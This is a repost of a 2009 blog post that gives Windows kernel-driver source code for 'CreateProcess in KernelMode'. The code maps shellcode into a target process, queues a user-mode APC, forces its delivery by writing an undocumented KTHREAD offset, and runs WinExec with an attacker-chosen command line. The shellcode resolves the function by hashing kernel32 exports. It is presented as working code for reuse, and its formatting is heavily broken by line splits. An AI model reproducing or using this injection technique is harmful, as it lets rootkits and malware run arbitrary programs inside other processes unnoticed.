您的位置:首页 > 其它

CreateProcess in KernelMode

2009-05-25 21:38 330 查看



Showtime : *WORKING* CreateProcess in KernelMode!

By: valerino

I don't think this code needs any comment.

Say welcome to usermode calls in kernel land..... with this technique you can even call MessageBox from inside your driver.

No more ugly non-working phrack samples, this is the real stuff :)

1) The APC injector

//************************************************************************

// NTSTATUS UtilInstallUserModeApcForCreateProcess(char* CommandLine, PKTHREAD pTargetThread, PKPROCESS pTargetProcess)

//

// Setup usermode APC to execute a process

//************************************************************************/

NTSTATUS
UtilInstallUserModeApcForCreateProcess(
char
*
CommandLine
,
PKTHREAD

pTargetThread
,
PEPROCESS

pTargetProcess
)

{

PRKAPC

pApc
=
NULL
;

PMDL

pMdl
=
NULL
;

PVOID

MappedAddress
=
NULL
;

ULONG

size
;

KAPC_STATE
ApcState
;

PKEVENT

pEvent
=
NULL
;

// check params

if
(!
pTargetThread
|| !
pTargetProcess
)

return

STATUS_UNSUCCESSFUL
;

// allocate memory for apc and event

pApc
=
ExAllocatePool
(NonPagedPool,
sizeof
(KAPC));

if
(!
pApc
)

return

STATUS_INSUFFICIENT_RESOURCES
;

pEvent
=
ExAllocatePool
(NonPagedPool,
sizeof
(KEVENT));

if
(!
pEvent
)

{

ExFreePool
(
pApc
);

return

STATUS_INSUFFICIENT_RESOURCES
;

}

// allocate mdl big enough to map the code to be executed

size
= (
unsigned

char
*)UtilUserApcCreateProcessEnd - (
unsigned

char
*)UtilUserApcCreateProcess;

pMdl
=
IoAllocateMdl
(UtilUserApcCreateProcess,
size
,
FALSE
,
FALSE
,
NULL
);

if
(!
pMdl
)

{

ExFreePool
(
pEvent
);

ExFreePool
(
pApc
);

return

STATUS_INSUFFICIENT_RESOURCES
;

}

// lock the pages in memory

__try

{

MmProbeAndLockPages
(
pMdl
,KernelMode,IoWriteAccess);

}

__except
(
EXCEPTION_EXECUTE_HANDLER
)

{

IoFreeMdl
(
pMdl
);

ExFreePool
(
pEvent
);

ExFreePool
(
pApc
);

return

STATUS_UNSUCCESSFUL
;

}

// map the pages into the specified process

KeStackAttachProcess (
pTargetProcess
,&
ApcState
);

MappedAddress
=
MmMapLockedPagesSpecifyCache
(
pMdl
,UserMode,MmCached,
NULL
,
FALSE
,NormalPagePriority);

if
(!
MappedAddress
)

{

// cannot map address

KeUnstackDetachProcess (&
ApcState
);

IoFreeMdl
(
pMdl
);

ExFreePool
(
pEvent
);

ExFreePool
(
pApc
);

return

STATUS_UNSUCCESSFUL
;

}

// copy commandline

memset
((
unsigned

char
*)
MappedAddress
+
160
,
0
,
260
);

memcpy
((
unsigned

char
*)
MappedAddress
+
160
,
CommandLine
,
strlen
(
CommandLine
));

KeUnstackDetachProcess (&
ApcState
);

// initialize apc

KeInitializeEvent
(
pEvent
,NotificationEvent,
FALSE
);

KeInitializeApc(
pApc
,
pTargetThread
, OriginalApcEnvironment,&UtilUserApcCreateProcessKernelRoutine,

NULL
,
MappedAddress
, UserMode, (
PVOID
)
NULL
);

// schedule apc

if
(!KeInsertQueueApc(
pApc
,
pEvent
,
NULL
,
0
))

{

// failed apc delivery

MmUnlockPages
(
pMdl
);

IoFreeMdl
(
pMdl
);

ExFreePool
(
pEvent
);

ExFreePool
(
pApc
);

return

STATUS_UNSUCCESSFUL
;

}

// and fire it by manually alerting the thread (for reference, this set the KTHREAD.ApcState.KernelApcInProgress)

// beware, this could be not compatible with everything ..... it works on 2k/XP anyway, tested on SP2 too.....

*((
unsigned

char
*)
pTargetThread
+
0x4a
)=
1
;

// apc is fired, wait event to signal completion

KeWaitForSingleObject
(
pEvent
,Executive,KernelMode,
FALSE
,
NULL
);

// free event

ExFreePool
(
pEvent
);

//
unmap and unlock pages / mdl . Note that there's no need to call
MmUnmapLockedPages on paged locked with MmProbeAndLockPages,

// since MmUnlockPages does this for us automatically.

MmUnlockPages
(
pMdl
);

IoFreeMdl
(
pMdl
);

return

STATUS_SUCCESS
;

}

2) This routine just frees the APC allocated memory as soon as it's fired

//************************************************************************

// VOID UtilUserApcCreateProcessKernelRoutine( IN struct _KAPC *Apc, IN OUT PKNORMAL_ROUTINE *NormalRoutine,

// IN OUT PVOID *NormalContext, IN OUT PVOID *SystemArgument1, IN OUT PVOID *SystemArgument2 )

//

// This routine just frees the APC

//************************************************************************/

VOID
UtilUserApcCreateProcessKernelRoutine(
IN

struct
_KAPC *
Apc
,
IN

OUT

PKNORMAL_ROUTINE
*
NormalRoutine
,

IN

OUT

PVOID
*
NormalContext
,
IN

OUT

PVOID
*
SystemArgument1
,
IN

OUT

PVOID
*
SystemArgument2
)

{

PKEVENT

pEvent
;

KDebugPrint (
1
,("%s APC KernelRoutine called, freeing APC./n", MODULE));

// free apc

ExFreePool
(
Apc
);

// set event to signal apc execution

pEvent
= (
PKEVENT
)*
SystemArgument1
;

KeSetEvent
(
pEvent
,
IO_NO_INCREMENT
,
FALSE
);

}

3) This is the usermode routine launched by the APC. It gets Kernel32 base and find imports by a hash, then calls winexec (simpler

than call createprocess, but anyway this is just an example....).


Use this NASM macro to calculate the needed hashes for whatever usermode functions you may need to call :

;

; HASH - NASM macro for calculating win32 symbol hashes

; Usage: HASH instruction, 'SymbolName'

;

%macro HASH 2

%assign i 1 ; i = 1

%assign h 0 ; h = 0

%strlen len %2 ; len = strlen(%2)

%rep len

%substr char %2 i ; fetch next character

%assign h /

(h<<0x13) + /

(h>>0x0d) + /

char ; rotate and add

%assign i i+1 ; increment i

%endrep

%1 h ; return instruction with hash

%endmacro

I can't remember where i got this shellcode, it was lying already modified on my hd for long time. Anyway it's not mine....

i just rearranged it to my needs. Whoever recognizes it as his code, email me at valeryno@hotmail.com and i'll put the proper credits :)

//************************************************************************

// void UtilUserApcCreateProcess(PVOID NormalContext, PVOID
SystemArgument1, PVOID SystemArgument2)

//

// This is where we call createprocess. We're in usermode here :)

//************************************************************************/

__declspec
(
naked
)
void
UtilUserApcCreateProcess(
PVOID

NormalContext
,
PVOID

SystemArgument1
,
PVOID

SystemArgument2
)

{

__asm

{

push
ebp

mov

ebp
,esp

push
ebx

push
esi

push
edi

jmp

__startup
;
; these are just functions.... skip

__find_kernel32
:

push

esi

;
Save

esi

push

0x30

pop

ecx

mov

eax
,
fs
:[
ecx
]
;
Extract
the PEB

mov

eax
, [
eax
+
0x0c
]
;
Extract
the PROCESS_MODULE_INFO
pointer

from
the PEB

mov

esi
, [
eax
+
0x1c
]
;
Get
the
address
of flink
in
the
init
module
list

lodsd

;
Load
the
address
of blink into
eax

mov

eax
, [
eax
+
0x8
]
; Grab the module
base

address

from
the
list
entry

pop

esi

;
Restore

esi

ret

; Return

__find_function
:

pushad
;
Save
all registers

mov

ebp
, [esp +
0x24
]
;
Store
the
base

address

in

eax

mov

eax
, [
ebp
+
0x3c
]
; PE header VMA

mov

edx
, [
ebp
+
eax
+
0x78
]
; Export
table
relative
offset

add

edx
,
ebp

; Export
table
VMA

mov

ecx
, [
edx
+
0x18
]
;
Number
of names

mov

ebx
, [
edx
+
0x20
]
; Names
table
relative
offset

add

ebx
,
ebp

; Names
table
VMA

__find_function_loop
:

jecxz
__find_function_finished

;
Jump

to
the
end

if

ecx

is

0

dec

ecx

;
Decrement
our names
counter

mov

esi
, [
ebx
+
ecx
*
4
]
;
Store
the relative
offset
of the
name

add

esi
,
ebp

;
Set

esi

to
the VMA of the
current

name

xor

edi
,
edi

; Zero
edi

xor

eax
,
eax

; Zero
eax

cld

;
Clear
direction

__compute_hash_again
:

lodsb
;
Load
the next
byte

from

esi
into
al

test

al
,
al

; Test ourselves.

jz

__compute_hash_finished

; If the ZF
is

set
, we've hit the null term.

ror
edi, 0xd
; Rotate edi 13 bits to the right

add
edi, eax
; Add the new byte to the accumulator

jmp
__compute_hash_again
; Next iteration

__compute_hash_finished:

cmp
edi, [esp + 0x28]
; Compare the computed hash with the requested hash

jnz
__find_function_loop
; No match, try the next one.

mov
ebx, [edx + 0x24]
; Ordinals table relative offset

add
ebx, ebp
; Ordinals table VMA

mov
cx, [ebx + 2 * ecx]
; Extrapolate the function's ordinal

mov

ebx
, [
edx
+
0x1c
]
;
Address

table
relative
offset

add

ebx
,
ebp

;
Address

table
VMA

mov

eax
, [
ebx
+
4
*
ecx
]
;
Extract
the relative
function

offset

from
its ordinal

add

eax
,
ebp

;
Function
VMA

mov

[esp +
0x1c
],
eax

; Overwrite stack version of
eax

from
pushad

__find_function_finished
:

popad
;
Restore
all registers

ret

8

__begin
:

nop

pop
edi

;
Pop

address

mov

ebx
,
__execute

sub
ebx
,
__command_line

sub
edi
,
ebx

; filename
offset

mov

esi
,
edi

; filename
to

edi

call
__find_kernel32

;
Find
kernel32
address

mov

ebx
,
eax

;
Save

address

in

ebx

jmp

short

__execute

;
Skip

data

__startup
:

call
__begin

; Fetch our
data

address

__execute
:

push
0x0e8afe98

;
WinExec
hash

push
ebx

; kernel32
base

address

call
__find_function

;
find

address

xor
ecx
,
ecx

inc
ecx

;
ecx
=
1

push
ecx

; uCmdShow

push
esi

; lpCmdLine. We already have the exe path
in

esi

call
eax

; call
WinExec

jmp
__end

__command_line
:
; Space (~
300
bytes)
for
commandline

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

__end:

pop
edi

; restore registers

pop
esi

pop
ebx

pop
ebp

ret

0x0c

}

}

//************************************************************************

// void UtilUserApcCreateProcessEnd()

//

// This is just a reference to calculate size of the above usermode apc routine

//************************************************************************/

void
UtilUserApcCreateProcessEnd()

{

}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: